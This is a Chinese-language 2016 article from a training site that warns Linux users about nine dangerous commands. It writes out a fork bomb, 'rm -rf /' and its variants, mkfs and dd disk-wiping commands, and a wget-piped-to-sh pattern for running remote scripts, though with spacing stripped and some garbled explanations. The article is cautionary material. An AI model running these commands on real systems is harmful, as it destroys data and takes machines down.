下载安卓APP箭头
箭头给我发消息

客服QQ:3315713922

9个linux命令你需要慎用

作者:课课家教育     来源: http://www.kokojia.com点击数:814发布时间: 2016-10-29 14:00:48

标签: linux命令系统运维linux运维

  熟悉Linux网络的朋友们或者都已经非常的了解LinuxShell/terminal命令非常强大,即使是一个非常简单的命令也是可以导致文件夹,又或者是文件路径被删除等一些列的问题出现,在某些环境下,linux它甚至是不会去询问你而直接的去执行命令,这样将会是导致你各种数据的一个丢失,在web上,一般是推荐新的linux用户来去执行这些命令。下面给大家看看这9个linux命令你需要谨慎使用的。

9个linux命令你需要慎用_linux命令_系统运维_linux运维_课课家

  收集了一些对系统有危害的Linux代码,用来去帮助你避免他们。用户需要注意的是:这些代码很危险甚至用户还可以经过修改,使其将会是变得更加有危害性,需要用户谨慎的去使用

  此外还需要注意的是:一些命令只在Ubuntu中有sudo前缀时是有危害的。在其他发行版本的Linux,它则是在作为根目录命令时会有危害。

  第一:Linux Fork Bomb Command

  :(){::&};:以ForkBomb闻名,是一个拒绝服务攻击的linux系统。:(){::&};:是一个bash函数。这个函数只要是被执行,那么他将会是不断重复,然后是直到系统被冻结,因此是只能重启系统解决这个问题。所以当你在Linux界面执行这个命令时务必需要注意使用!

  第二:MvFolder/Dev/NullCommand

  我们知道的mvfolder/dev/null它也是一个危险的命令。Dev/null或者nulldevice它是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的bitbucked或者blackhole。

  3、Rm-RfCommand

  如果是使用rm-rf命令在Linux系统中可以快速删除文件夹及其内容,你若不懂的如何去使用的话,那么你将会遭遇很多的弯路,因此,该记住的命令,还是需要记住的。

  看看以下为m-rf命令最常见的组合和选择:

  rmcommand:删除Linux系统的文件

  rm-fcommand:并不需提示,删除文件中的只读文件

  rm-rcommand:可以循环删除文件夹的内容

  rm-dcommand:可以删除空目录,如果非空目录则不会执行该操作

  rm-rf/command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令

  rm-rf*command:将会是强制删除当前目录中的所有内容(当前工作目录)和字文件夹

  rm-rf.command:强制删除当前文件夹目录/子目录中的所有内容。同rm-r.[^.]*

  Therm-r.[^.]*command:使用该命令可以是删除文件及文件夹,它是带有删除提示。

  4、Mkfs Command

  当你学习linux的时候,你若是不知道mkfs的作用,那么它也是一个危险的命令,如果是mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

  下面列举出需要管理员权限,格式化硬盘的命令:

  mkfs

  mkfs.ext3

  mkfs.bfs

  mkfs.ext2

  mkfs.minix

  mkfs.msdosmkfs.reiserfs

  mkfs.vfat

  mkfs.cramfs它也是可以和上面的代码做同样的事情,不过不需要管理员相关的一些权限才可以打开。

  5、Tar Bomb

  一般来说tar命令它是用于将多个文件以.tar格式放入一个文件中(存档文件)。TapeArchive(Tar)bomb可以由它来进行一个创建。

  当为压缩的时候,也就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

  当系统收到tar文件,将会是定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你将可以避免成为tarbomb的一个受害者。

  6、Dd Command

  如果是使用Dd命令,则将用于复制&改变硬盘分区,如果是用错地方的话,那么就需要谨慎一点了,危险性也会加大!

  下面列举dd命令:

  ddif=/dev/hdaof=/dev/hdb

  ddif=/dev/hdaof=/dev/sdb

  ddif=somethingof=/dev/hda

  ddif=somethingof=/dev/sda

  比较重要的一个命令:下面这个命令,将会使整个主硬盘清零:ddif=/dev/zeroof=/dev/had

  7、shell script Code

  在操作使用的时候,被坑或者是一件很常见的事情,比如给你一个shell脚本文件,让你去下载并执行它。有时候该脚本可能会包含一些恶意的或危险的代码。常见的命令形式可能会是这样:wgethttp://some_malicious_source-O-sh。wget将会在sh狭隘脚本时下载脚本。

  8、Malicious Source Code

  偶尔会遇到这样的一种情况,就是有人会给你源代码让你去编译他。代码可能是正常代码,但是有一些恶意代码伪装在大型源代码中,如果是这样,你的系统很可能是中招了。那么我们应该是如何的去避免呢?仅接受并编译可信赖来源的源代码。

  9、Decompression Bomb

  有时候当你已经是收到一个压缩的文件,你被要求提取这个看起来很小的文件,文件大小可能小到KB。实际上该小尺寸的压缩文件包含高度压缩数据。

  只要文件解压,就连上百GB数据也会被提取,在这个时候,如果是过大的数据填满硬盘导致宕机,这样的几率也是很大的。那么我们是该如何避免?这种情况的话,在使用的过程中就需要多点留意一下文件的一个接收,并不是所有的文件都是可以接收。

  结语:以上的linux命令是日常的使用中必须要注意的一个命令,当你操作系统的时候就需要有一个认真仔细的心,并且是搞清楚什么样的命令该如何去使用,什么样的命令是禁止的,这都需要我们进一步掌握的!

赞(10)
踩(0)
分享到:
华为认证网络工程师 HCIE直播课视频教程